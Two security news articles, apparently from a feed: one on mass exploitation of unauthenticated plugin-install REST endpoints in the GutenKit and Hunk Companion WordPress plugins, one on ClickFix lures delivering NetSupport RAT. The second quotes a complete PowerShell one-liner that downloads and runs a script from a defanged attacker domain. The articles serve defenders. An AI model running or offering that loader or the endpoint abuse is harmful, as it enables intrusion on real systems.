Threat actors have launched a significant mass exploitation campaign targeting critical vulnerabilities in two popular WordPress plugins, GutenKit and Hunk Companion, affecting hundreds of thousands of websites globally.

These vulnerabilities, discovered in September and October 2024, have resurfaced as an active threat in October 2025, demonstrating the persistent danger of unpatched installations.

The attack vectors leverage improper permission checks in REST API endpoints, allowing unauthenticated attackers to install malicious plugins and achieve remote code execution without authentication or user intervention.

The GutenKit plugin, with over 40,000 active installations, and Hunk Companion, with approximately 8,000 active users, represent significant attack surfaces due to their widespread adoption.

Wordfence Threat Response Unit analysts identified that attackers began mass exploitation again on October 8th, 2025, approximately one year after initial disclosure, indicating threat actors continue leveraging these critical flaws for large-scale compromise operations.

The Wordfence Firewall has already blocked more than 8,755,000 exploit attempts targeting these vulnerabilities since protective rules were deployed.

The threat landscape reveals organized attack infrastructure with multiple malicious payloads designed for persistence and lateral movement.

Wordfence Threat Response Unit researchers noted that attackers distribute heavily obfuscated backdoors, file managers, and webshells capable of mass defacement, network reconnaissance, and terminal access.

These malicious packages exploit the permission callback mechanism set to return true, transforming otherwise legitimate plugin installation functionality into a weaponized entry point for system compromise.

REST API Permission Mechanism Exploitation

The fundamental vulnerability stems from a critical misconfiguration in REST API endpoint registration. Both plugins implement permission callbacks that unconditionally permit unauthenticated requests through returning true values, effectively disabling access controls entirely.

In GutenKit, the vulnerable endpoint routes to the install_and_activate_plugin_from_external() function via the gutenkit/v1/install-active-plugin endpoint, while Hunk Companion exposes similar functionality through hc/v1/themehunk-import.

The exploitation mechanism works by sending POST requests with arbitrary plugin URLs hosted on external repositories, typically GitHub or attacker-controlled domains.

When an unauthenticated request reaches these endpoints, the server downloads and extracts the specified ZIP archive directly into wp-content/plugins without validating plugin authenticity or code integrity.

Wordfence Threat Response Unit analysts discovered that malicious packages contain obfuscated PHP scripts with All in One SEO plugin headers to evade basic detection, alongside base64-encoded file managers and PDF-header disguised backdoors enabling complete system compromise.

The installation process executes automatically, activating malicious code immediately and providing attackers direct command execution capabilities for installing additional malware, modifying website content, and establishing persistent access mechanisms.

Website administrators should immediately update GutenKit to version 2.1.1 and Hunk Companion to version 1.9.0. Review wp-content/plugins and wp-content/upgrade directories for suspicious installations.

Monitor access logs for requests to /wp-json/gutenkit/v1/install-active-plugin and /wp-json/hc/v1/themehunk-import endpoints, and implement firewall rules to restrict API access to authenticated users only.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Hackers Actively Exploiting WordPress Arbitrary Installation Vulnerabilities in The Wild appeared first on Cyber Security News.

Cybercriminals continue to evolve their tactics for compromising systems, with recent campaigns demonstrating a significant shift from traditional fake update methods to more sophisticated social engineering approaches.

Throughout 2025, threat actors have increasingly adopted the ClickFix technique as their primary delivery mechanism for deploying NetSupport Manager, a legitimate remote administration tool that has become attractive to malicious actors seeking unauthorized system access and control.

The attack pattern begins with social engineering, where victims encounter deceptive ClickFix pages designed to trick them into executing malicious commands through the Windows Run Prompt.

Once executed, these commands trigger a multi-stage infection process that ultimately results in NetSupport being installed on the compromised system.

eSentire Threat Response Unit analysts identified that three distinct threat groups have coordinated their efforts around this particular attack methodology, indicating a broader shift across the cybercriminal landscape toward this delivery vector.

eSentire Threat Response Unit researchers noted that the malware’s infection mechanism reveals sophisticated operational security measures.

What makes this campaign particularly concerning is how threat actors have streamlined their delivery infrastructure to reduce detection and maximize success rates across diverse victim environments.

PowerShell-Based Persistence and Execution Framework

The infection chain relies heavily on PowerShell-based loaders that employ multi-stage encoding and obfuscation techniques.

The first stage loader downloads a base64-encoded JSON blob from attacker-controlled servers, with commands like:-

PowerShell.exe -w h -nop -ep Bypass -c "$S='hxxps://riverlino[.]com/U.GRE';$j=$env:TEMP+'\1.ps1';(New-Object Net.WebClient).DownloadFile($S,$j);powershell -f $j"

Once executed, the loader decodes the JSON configuration and extracts each payload component.

The malware creates hidden system directories and writes base64-decoded files to disk, establishing persistence through startup folder shortcuts in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup.

Recent variants have evolved to include RunMRU registry deletion techniques, deliberately erasing evidence of Run Prompt execution to complicate forensic investigations.

Secondary loaders utilize MSI installer packages executed through msiexec, embedding additional base64-encoded PowerShell commands that undergo character-point subtraction deobfuscation before execution.

This layered approach demonstrates threat actors’ commitment to evading static detection mechanisms while maintaining flexible command execution capabilities.

Organizations encountering suspicious ClickFix prompts or unexpected NetSupport installations should immediately isolate affected systems and conduct comprehensive forensic analysis.

Network defenders should implement application whitelisting controls and monitor for suspicious PowerShell activity, particularly commands involving base64 decoding and non-standard execution policies.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Hackers Leveraging ClickFix Technique to Deploy NetSupport RAT Loaders appeared first on Cyber Security News.